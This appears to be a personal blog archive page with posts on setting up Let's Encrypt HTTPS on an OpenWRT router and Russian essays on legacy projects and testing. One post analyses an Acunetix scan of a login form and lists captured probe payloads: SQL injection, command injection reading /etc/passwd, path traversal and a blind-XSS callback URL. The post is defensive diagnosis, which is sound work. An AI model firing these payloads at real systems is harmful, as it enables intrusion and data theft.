Letsencrypt

How to: LetsEncrypt HTTPS on OpenWRT with uhttpd

My old router TP Link WRN740N hosting my homepage stokito.name and it’s too small to handle full LetsEncrypt certbot installer and OpenSSL so the only one option is to use manual certs installation from my laptop and renew them after 3 month. Actually this can be automated too.

Now, lets generate certs for your domain:

$ sudo certbot certonly --manual --preferred-challenges http

Answer all the questions and it will ask you to upload a file to your router:

-------------------------------------------------------------------------------
Create a file containing just this data:

1Fyw2Q3IARaG0G6RVUJS587HG_Ou6pKpBLZC-_KuC8g.OKKBaAC2SgfXHQyvgKrLkn3zyCNH82xHgKsMg9OQQJE

And make it available on your web server at this URL:

http://www.stokito.name/.well-known/acme-challenge/1Fyw2Q3IARaG0G6RVUJS587HG_Ou6pKpBLZC-_KuC8g

-------------------------------------------------------------------------------
Press Enter to Continue

You need to create the folder on router:

# mkdir -p ./.well-known/acme-challenge

Then upload the files via SCP from your computer to router:

$ echo "1Fyw2Q3IARaG0G6RVUJS587HG_Ou6pKpBLZC-_KeC4g.OKKBaAC2SgfXHQyvgKrLkn3zyCNH82xHgKsMg9OQQJE" > 1Fyw2Q3IARaG0G6RVUJS587HG_Ou6pKpBLZC-_KeC4g

$ scp ./1Fyw2Q3IARaG0G6RVUJS587HG_Ou6pKpBLZC-_KeC4g root@192.168.1.1:/www/.well-known/acme-challenge/1Fyw2Q3IARaG0G6RVUJS587HG_Ou6pKpBLZC-_KeC4g

BTW, there is no any analogue of WinSCP for Linux but you can try to run it on Wine.

Then go back to certbot and press Enter. It will check that files are in place and accessible from web.

 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/stokito.name/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/stokito.name/privkey.pem
   Your cert will expire on 2018-01-13. To obtain a new or tweaked
   version of this certificate in the future, simply run certbot
   again.

It generated two files: privkey.pem and fullchain.pem (which is not public key!)

Finally, you need to convert the private key and the certificate from the ASCII-armored PEM format to the more economical binary DER format used by uhttpd:

openssl rsa -in privkey.pem -outform DER -out uhttpd.key
openssl x509 -in fullchain.pem -outform DER -out uhttpd.crt

Upload them to the router

$ scp uhttpd.crt root@192.168.1.1:/etc/uhttpd.crt
$ scp uhttpd.key root@192.168.1.1:/etc/uhttpd.key

On the router you need to install uhttpd-mod-tls:

# opkg update
# opkg install uhttpd-mod-tls

edit /etc/config/uhttpd as described in docs i.e. like this

config uhttpd 'stokito.name'
    list listen_http '31.172.137.103:80'
    list listen_https '31.172.137.103:443'
    option redirect_https '1'
    option home '/www'
    option rfc1918_filter '0'
    option cert '/etc/uhttpd.crt'
    option key '/etc/uhttpd.key'

Here 31.172.137.103 is my public static IP.
Note that 443 port should be opened in /etc/config/firewall:

config rule
    option target 'ACCEPT'
    option src 'wan'
    option proto 'tcp'
    option dest_port '443'
    option name 'HTTPS'

Then restart the firewall and uhttpd server:

# /etc/init.d/firewall restart
# /etc/init.d/uhttpd restart

Now try your site in browser.

But please check your site latter: I noticed that uhttpd was down but after restart it worked well.

Реклама

Субботние лекции: Как перестать верить технологиям

Наверное уже все посмеялись что ещё не было дня чтобы не выпустили новый JavaScript фреймворк, но фронтендщикам уже не до смеха. У них сейчас происходит перидод бурного эволюционного развития и конца этому пока не видно.
На самом деле точно такие же процессы проходили и проходят прямо сейчас и в других областях но по стечению множества причин именно во front end этот процесс сейчас самый большой и бурный и дошёл до абсурда хотя фронтендеры говорят что это они просто к точке сингулярности приближаются, хех.

Как выжить этим отважным парням в таких условиях? Есть на эту тему триптих из трёх лекций.

Первая:

Как ответ на неё последовала вторая:

там он ссылался на эту офтопную лекцию

И финальная третья лекция

Acunetix Web Vulnerability Scanner

One of my customer suffer from DDOS attack and site goes down.
In logs I found a lot of login requests with unexisting usernames but some of usernames contains exploits like SQL, JavaScript, command line injections.
For example:

admin tries to login as admin
\"+response.write(9016645*9728826)+\" javascript injection
(select convert(int,CHAR(65))) sql injection
waitfor delay \'0:0:4\' do we have MSSQL?
and (sleep(4)+1) limit 1 or MySQL?
cat /etc/passwd;\' linux/bsd? tries to get contents of passwords
^(#$!@#$)(()))* perl? (interpreting)
;print(md5(acunetix_wvs_security_test)); checking for vulnerability PEAR XML_RPC 1.3.0 in PHP

The list of exploits will be here bellow but please don’t open any links since they contains exploits too.
Analysis of exploits shown that this attack was performed by Acunetix Web Vulnerability Scanner.
In short this is just a robot that runs over your site and tests for known security issues.
Even if your site would be vulnerably, the scanner would not try to break anything, but it report the vulnerabilities to the attacker.

Each time when login performed site tries to lookup a user with the username in DB and when not it found return a NoSuchUserException. That’s creates a big load on DB.
So we will add to our login simple validation that username doesn’t contains any special symbols or spaces and return NoSuchUserException even without DB lookup.
That’s will minimize a database load on next attack. Also it would be great to write to logs some security alert.

Another one simple step to prevent this kind of attack is to avoid usernames like «admin», «user», «test» and similar.

List of exploits (please not that they have some random generated part):

!(()&&!|*|*|
#{9999517+9999846}
$(nslookup XaHYzdt9)
${9999517+9999846}
${@print(md5(acunetix_wvs_security_test))}
${@print(md5(acunetix_wvs_security_test))}\\
\";print(md5(acunetix_wvs_security_test));$a=\"
\';print(md5(acunetix_wvs_security_test));$a=\'
<!--
&nslookup wqTuHKgH&\'\\\"`0&nslookup wqTuHKgH&`\'
(select convert(int,CHAR(65)))
)
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
-1 OR 2+101-101-1=0+0+0+1 --
-1 OR 2+361-361-1=0+0+0+1
-1\" OR 2+167-167-1=0+0+0+1 --
-1\' OR 2+40-40-1=0+0+0+1 --
-1\' OR 2+881-881-1=0+0+0+1 or \'dvO3lt07\'=\'
................windowswin.ini
../../../../../../../../windows/win.ini
/.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./windows/win.ini
../../../../../../../../../../windows/win.ini\0.tst
\";cat /etc/passwd;\"
/../..//../..//../..//../..//../..//etc/passwd\0.tst
./WEB-INF/web.xml
./WEB-INF/web.xml?
WEB-INF/web.xml
WEB-INF\\web.xml
//WEB-INF/web.xml
/forward:/WEB-INF/web.xml
/static/WEB-INF/web.xml
/www.vulnweb.com
1
1 waitfor delay \'0:0:9\' --
1some_inexistent_file_with_long_name\0.jpg
1\'\"
1\0'"
5rRFX596\');select pg_sleep(3); --
a7C6fcfF\';select pg_sleep(3); --
CdU2ccxR\'));select pg_sleep(6); --
;print(md5(acunetix_wvs_security_test));
@@Y7Mum
admin
Array
asblyars&n934969=v921785
dxiHJlrn\'); waitfor delay \'0:0:13\' --
e&n903064=v900092
http://hitCNGUlQ53Jk.bxss.me/

http://testasp.vulnweb.com/t/fit.txt


ibqxmqjh&n902289=v938342
JyI=
response.write(9856682*9648787)
set|set&set
testasp.vulnweb.com
wtqcgrsv&n912204=v936365
YlpOb05tVlA=
yoUBQu2S
ZPuBQkWY
\"+response.write(9016645*9728826)+\"
\'\"
\'\"()
\\
^(#$!@#$)(()))******
..À¯
sample%40email.tst and sleep(7.738)
acunetix_wvs_invalid_filename

See also:
* https://eventespresso.com/tag/acunetix_wvs_security_test/
* https://www.fail2ban.org/
* https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
* https://www.modsecurity.org/

В чём разница между модульными, интеграционными и функциональными тестами?

Есть большой и постоянный холивор на тему названий для разных категорий тестов. Например вот в статье
Unit and integration are ambiguous names for tests автора предлагает свою терминологию.
И везде принята немножко разная терминология. Например в Grails юнит тесты могут тестировать один класс: сервсис, или контроллер или даже вьюху, но при этом всё что можно мокается а вместо базы используется легковесная имитация на основе ConcurrentHashMap.
В интеграционных тестах у тебя уже появляется спринговый контекст, работает депенденси инжекшен и есть реальная база к которой можно SQL запросы посылать.
Функциональные тесты в Греилс это тесты через Selenium когда запускается реальный браузер и робот ходит и кликает.

Но вообщем говоря всё равно остаётся множество вопросов и на них хорошо рассказал Алексей Речиков в своём докладе «How we testing our software “Google way”»

Слайды

UPD: ещё мне понравился доклад по теме

Как жить на Legacy проекте

Несколько хороших и обязательных к просмотру лекций про то как разрабатывать и сопровождать старые легаси проекты.
Кстати тут нужно сказать что legacy — это переводится не просто как «наследство» а как некий дар, например когда бабушка передаёт внучке кольцо. Авторы термина хотели заложить какое-то позитивное значение 🙂

На эту тему почти на всех конференциях рассказывает Виктор Полищук:

Примечательна также классификация которую Виктор использует:

What is…

  • Very old projects, had been written long long ago.
  • The Highlander: Old mature projects, had been written ages ago. Optimization required.
  • Paragon: Die Hard Nobody knows why it is still alive.
  • Fashion or market victims: Nobody wants this sh%t anymore.
  • Problem Child: Nobody loves it. Sentenced Customer tired of supporting it, everything is up to you.
  • Apathetic: Nobody cares

What is usually NOT…

  • Badly written projects which are not in production.
  • Low quality designed projects.
  • Small projects.
  • Every project you don’t understand.

legacy code - переписать это говно мамонта

Виктор Полищук — Все что вы хотели знать о Legacy-коде, но стеснялись спросить

Виктор Полищук — Legacy: как победить в гонке

И этот доклад вдохновил ребят из ДатаАрта сделать свой доклад:

И продолжение «Travel, Legacy and SWAT. Q&A Session»

Презентация Michael Feather, автора книги Работа с унаследованным кодом:

Дмитрий Миндра: Refactoring Legacy Сode

Virtual JUG: Testing and Refactoring Legacy Code

Сергей Немчинский — Как создаются и поддерживаются Enterprise.
Очень хороший доклад где раскрывается суть легаси проектов, как они возникают и какая у них специфика.

Статья Практика рефакторинга в больших проектах в сотый раз о вечном. Для тех кто ещё халтурит и не прочёл замечательную книгу Working Effectively with Legacy Code

Ну и несколько интересных статей на окололегасиную тематику:
* Что иметь в виду при переписывании программного обеспечения
* Читайте код, с остальным справится компилятор
* Рентабельный код
* Поиск и чтение унаследованного кода

Небольшой конспект с добавлениями моих мыслей.
1. На легаси проекте всегда есть несколько параллельных подходов и технологий. В разное время были попытки и не всегда законченные сделать что-то правильно не выкидывая старого. Например если у вас был старый API и вы решили сделать новый — то у вас есть новый АПИ но клиенты всё равно используют старый потому что в нём были фичи которые вы в новый переносить не будете или ещё не решили как его сделать правильно. Точно также если у вас был JSF и вы решили переписать на Spring MVC то теперь у вас половина кода на Спринге и половина на JSF.
На моём текущем проекте живут одновременно чисто сервлеты, чисто JSP, JSF, JSP + Tiles, немного Velocity, Spring 3.0.7 и мы даже не можем перейти на Спринг 3.1, куча контролеров на Tapestry 4 (к которому уже даже документации не найдёшь), и Tapestry 5.0 который по сути совсем другой фреймворк и мы не можем даже переписать на Tapestry 5.3, просто потому что уже никто его не знает.
Всё это живёт одновременно и активно используется. Всё находится в полупереходном состоянии потому что пока начали переписывать и делать новые ошибки, вдруг выяснилось что чего-то сделать на новом практически невозможно и вообще уже наделали новых ошибок что уже и переписывать так пожалуй не стоит. Всё это устарело и затраты на обновление больше чем на переписывания с ноля.
Из-за версионного просака обновится невозможно. И иногда нужно просто смириться что это останется таким навсегда (привет Кобол программистам).
2. На лагаси проекте очень многое можно просто выкинуть. Очень много нуждается в оптимизации. Но как понять что можно менять а что нет? Как найти проблему? Т.е. здесь на первый план выходит и самое принципиальное это знать как используется программа: вам нужен мониторинг, вам нужно сборка и визуализация логов (logstash+elastic+kibana), или статистика юзаджей, вам нужен доступ к базе на продакшене, вам нужен доступ ко всем конфигам а то и вовсе к серверам. Насколько только это возможно. Именно с этого и следует начинать первым делом.
Допустим ты ковыряешься в коде и видишь кучу проблем связанных с тем что у вас регистрозависимые (case sensitive) логины пользователей, т.е. User и user это два разных пользователя. Потому что дальше ваша система шлёт эти юзернеймы через АПИ в другую систему которая их не поддерживает. И ты должен иметь возможность прямо сейчас посмотреть в конфигах включена ли эта возможность, посмотреть в базе как много пользователей с дублицироваными юзернеймами. Нужно погрепать логи как много пользователей столкнулось с этими проблемами.
Нужно поискать по истории ревизий кода когда добавлялся этот функционал и зачем. Нужно расспросить всех коллег кто что-то знает про это.
Т.е. на легаси проекте для того чтобы сделать какое либо изменение порой требуется настоящее и полноценное исследование, расследование, с допросами и большой археологической работой по изучения пластов кода и поиском то ишью трекеру.
Какая нибудь заброшенная страничка на Вики тебя может реально выручить. Отсюда следует следующий пункт…
3. Всё что только можно нужно записывать и потом никогда не выбрасывать. Желательно любые обсуждения и митинги потом записывать хотя бы тезисно и рассылать по почте, и её, корпоративную почта нужно беречь и лелеять. Возможно даже вам следует хранить логи и бекапы бд баз хотя бы за год. «Чем больше бумаги тем чище жопа». И не бойтесь что создаёте мусор — археологи по мусорным кучам восстанавливают знание о целых эпохах цивилизаций.
Просто поймите — даже самые очевидные для вас вещи следует записывать потому что команда совершенно точно поменяется полностью. Это всё равно что представьте что послезавтра весь ваш код, всю вики, все письма, весь репозиторий просто передадут на разработку в другую компанию.
4. На Вики писать и перечитывать\переписывать\обновлять статьи это абсолютно обязательная работа ничуть не меньшая чем писать код. Тикеты в ишью трекере периодически нужно проходить и перечитывать. Реально очень многие проблемы, уж поверьте, давно известны и даже были попытки их исправить. Это нудное занятие вам сэкономит кучу времени. Но читать их следует только после того как вы уже хоть немного разобрались с проектом, иначе вы не поймёте о чём там вообще идёт речь.
Дело в том что на легаси проекте из-за большого числа джира тикетов по закону больших чисел вы практически наверняка там точно есть практически все баги и проблемы, и вы можете достаточно точно оценить ситуацию с разными компонентами системы.
В совокупности с письмами из сапорта и логами это даёт хорошую картину на весь проект. Это важная метрика которая вам поможет вам понять размер трагедии.
5. На любом легаси проекте почти наверняка есть огромные проблемы со сборкой проекта. Обычно она не тривиальная, требуется ANT и Maven конкретной версии, собирается проект почти наверняка только под шестую джаву, требуются ручные действия. Билд долгий, тесты blinking (то падают то нет) и очень много из низ вообще отключены через @Ignore. Есть самодельно пропатченные версии библиотек. И это вам очень сильно повезёт если проект мавенизирован и зависимости вообще известны и доступны с Maven Central репозитория.
Из-за того что у вас много либ (а их наверняка много) а у вас нет возможности дать каждой свой classpath, у вас точно есть куча проблем с конфликтующими или дублирующимися зависимостями.
И для успешной жизни на проекте вам следует опустится вот это вот болото Мавена и стабилизировать билд. Это второе по важности после логов и мониторинга и метрик что следует сделать.
6. Любой код без тестов автоматически становится легаси. Ваша задача любой ценой покрыть код тестами. На каждый баг — покрываете то место тестами. Вплоть до драконовского правила не принимать новый код без тестов хотя и без фанатизма. Да, вам придётся замокать пол мира, написать кучу фикстур и стабов, написать долгие интеграционные тесты которые пол базы загрузят, но без этого вообще никак. Когда создавалось множество легаси проектов тогда тестирование ещё не было принято как промышленная практика или фреймворки которые были тогда не очень были рассчитаны на то что их нужно будет как-то тестировать. Сами тестовые библиотеки и техники с тех пор прошли большой и мучительный путь, и в каждом фреймворке уже изначально идёт куча вспомогательных классов и стабов и документации о том как тестировать.
Поэтому на легаси проекте это совершенно нормальная практика когда функционал написанный\исправленный за час вы в три раза дольше покрываете тестами. Постепенно самое гадкое вы всё таки покроете тестами а ваша архитектура всё таки начнёт постепенно становится лучшей для тестирования. Это трудозатратный путь, но он оправдан и рано или поздно принесёт плоды, просто верьте.
7. Дальше нужно улучшить логирование — подчистить лог от огромных стектрейсов и пофиксить то что их продуцирует. Дописать логи везде где только нужно, все входящие и выходящие реквесты в АПИ тоже логировать. При этом нужно сделать так чтобы логирование имело смысл по максимуму. Также в логах у вас почти наверняка будет множество секьюрной информации: пароли пользователей и ключи от АПИ, номера кредитных карт или что нибудь ещё такое чего там не должно быть. Представьте что ваши логи взломали хакеры — вы должны максимально им усложнить жизнь.
8. Улучшить мониторинг — через JMX пробросить все важные метрики: количество активных сессий или реквестов. Повключать всякие опции JVM для мониторинга. Об этом Виталий Тимчишин рассказывал в клубе анонимных программистов презентация, видео (часть 1), видео (часть 2) но лучше новую инфу поискать, особенно про FlightRecorder.
9. Билд нужно ускорить и улучшить насколько это возможно. У вас должен быть самый лучший CI tool — TeamCity. Собираться в нём должно всё что только может быть собрано.
10. Вам нужно ввести версионирование БД и db migration tool — DBMaintain, FlywayDB, LiquiBase.
11. Грамотно разнести тесты как в Гугле поделить их по времени выполнения. Тут ключевой момент в том что если для TDD разработки ваш тест должен отрабатывать быстро (максимум 15 секунд) иначе она не приживётся. Сам билд в CI тоже нужно ускорить как только можно (запуск тестов в параллели, использовать in-memory file system).
12. У вас совершенно точно будут множество проблем с базой данных — конекшен пул будет забиваться, будет множество проблем с уровнем изоляции транзакций, запросы будут долго тупить, N + 1 проблемы, данные будут неконсистентными итд. Эти проблемы нужно чётко методично разруливать — обновить либу Tomcat JDBC Connection Pool, загнать всю работу с базой строго в рамки DAO, самые используемые и статические данные закешировать и сделать так чтобы кеш можно было сбросить через JMX или JavaMelody.
13. Саму базу тоже как правило следует подчистить и хорошенько нормализировать. Делать это нужно очень аккуратно и осознано и обязательно основываясь на реальной статистике. Для PostgreSQL есть утилита pg_stats. По ней можно определить как данные используются и сравнив с кодом можно понять свойства данных: как часто они изменяются, как часто они инсертятся или они read only. Где нужно натянуть индексы. Это очень принципиально потому что даёт нормальный прирост скорости и вообще от данных следует отталкиваться.
14. Дальше вам следует возвести китайскую стену между старым кодом и новым, как рассказывал Витя Полищук. У вас должно быть чёткое понимание что в этой части системы мы пытаемся создать островок удачи и везения, где всё прилично и правильно и после этого перетащить на этот остров весь функционал из плохого кода. Этот островок может быть совершенно отдельным модулем\микросервисом отделённым чётким API и интерфейсами. И жёстко следить за тем чтобы в нём был порядок.
У меня например на проекте например даже уволили сотрудника за то что он не стал переписывать старый функционал а за уши притянул его скопипастив код в островок удачи. Теперь нам оставшимся сцыкотно там гадить.
15. Всё что только можно резать на модули, модули выделять в микросервисы которые общаются по простому протоколу типа REST или JSON-RPC.
У вас наверняка есть часть системы и код который никогда уже не перепишешь и всё что можно с этим сделать — только выделить эту гангрену в отдельный модуль.
16. Memento mori — вам следует честно и сразу думать даже о новом функционале как о выброшенном позже и заранее думать о том как его убрать. Микросервисы как раз неплохо решают эту проблему.
17. Стоит максимально улучшить процесс деплоя — для начала достичь zero downtime но конечно в идеале вообще continuous deployment, но даже не мечтайте 🙂 Даже без zero downtime ваш цикл комит — старт сервера должен быть максимально маленьким. Суть в том что если вы начнёте что-то менять то вам придётся постоянно выкатывать хотфиксы которые фиксят баги после ваших фиксов багов. Если вы начнёте наводить порядок на легаси проекте, да даже просто что-то делать особо ничего не трогая, всё равно у вас будут всплывать проблемы и их нужно будет фикисть по горячему.
18. Если у вас есть внешний API то вам следует проксировать его через фасад где чётко вести статистику кто его дёргает и как. Далее если ваш АПИ будет меняться вам следует самим сделать SDK где вы его сами заимплементите. Всё таки это относительно редкость когда клиенты вашего АПИ используют что-то другое кроме PHP, Java или JavaScript, ну или что там у них. Поэтому вы можете сами написать или попросить клиентов поделится с вами их обвёртками над вашим АПИ и сделать его своим официальным. Далее вы можете менять и экспериментировать с АПИ при этом каждый раз выкатывать новую версию SDK. Т.е. это вам даёт дополнительный рычаг гибкости.
Кроме того попытаться заимплементить ваше собственное АПИ очень хорошо поможет вам понять как мучаются ваши клиенты и заметить частые ошибки.
19. После этого можете пробовать постепенно обновлять ваши библиотеки зависимостей на новые версии, тщательно и внимательно просматривая их чейнджлоги и ища всякие баги которые есть с этой версией. Реально в интернете вы уведите много релевантной информации. Первым делом обновлять следует тестовые библиотеки, особенно моки (EasyMock, Mockito) потому что они изменяют байткод. Проверить что тесты проходят как и ранее и не сломались.
Далее следует обновлять сами плагины Мавена — это тоже довольно опасная операция как оказалось на практике.
После этого утильные либы: Apache Commons Lang, Apache Commons Collections, Guava, JodaTime, Jackson, итп.
Потом можно попробовать проайпдейтить Quartz который в основном используется для джоб и другие либы типа Apache POI чья поломка для пользователей пройдёт почти незаметно.
Потом нужно проадейтить те либы которые делают инструментацию байткода и всякую магию: Hibernate и куча всего другого. Это самое злобное.
После этого можно пробовать перейти на новую джаву.
После перехода на новую джаву можно выкинуть JodaTime и JodaMoney и кучу другого хлама. И обновить остальные либы типа Спринга.

Продолжение следует

Анализ исходного кода open source

В последнее время начало довольно много появляться исследований кода причём с какими-то очень странными результатами и почти всегда просто потрясающего идиотизма выводами. Мне стало интересно откуда они черпают информацию и как анализируют код потому что у самого давно уже было много идей занятся подобными исследованиями.
И сразу же нашёл сайт GitHubArchive который создал один из известных разработчиков протокола HTTP2 Илья Григорик.
На этом сайте лежит вся публичная информация которую можно получить через API гитхаба с 2012го года. И по этой всей информации можно делать SQL запросы за вменяемое время.
Очень прикольный доклад где чуваки проанализировали и построили много интересных графиков: какой язык вызывает больше всего ненависти а какой больше фана, как взаимосвязаны между собой языки и какие нации в мире больше всего комитящие в Гитхаб. Много неожиданного

Программерия - это алхимия

Программерия, или что нужно знать программисту

Как стать программистом? Что учить программисту?

Наша профессия одна из сложнейших и каждая программа по своему уникальна. Кроме самого программирования как такового нужно обязательно знать множество других смежных вещей которые помогают конструировать ПО. Мы ещё плохо понимаем как правильно разрабатывать программы и каждый раз мы пытаемся предугадать её будущее изменение и много экспериментируем переосмысливая свой опыт. Всё это очень похоже на Алхимию.
И подобно как из Алхимии родилась Химия, также из Программирования рождается новая наука Программерия. Что это, и как она помогает современному программисту читайте в моей статье Программерия, или что нужно знать программисту.

Похожие статьи

Итак, вы решили стать программистом
Что нужно знать каждому программисту по версии Google! (eng)
Программирование — занятие не для каждого
Писать код уже не достаточно: обязанности современных back-end разработчиков
Как стать программистом?
Путь программиста: через что придется пройти джуниору, чтобы стать синиором
Путь программиста
Карта программиста
Что должен знать html-верстальщик?
Почему разработчик — не инженер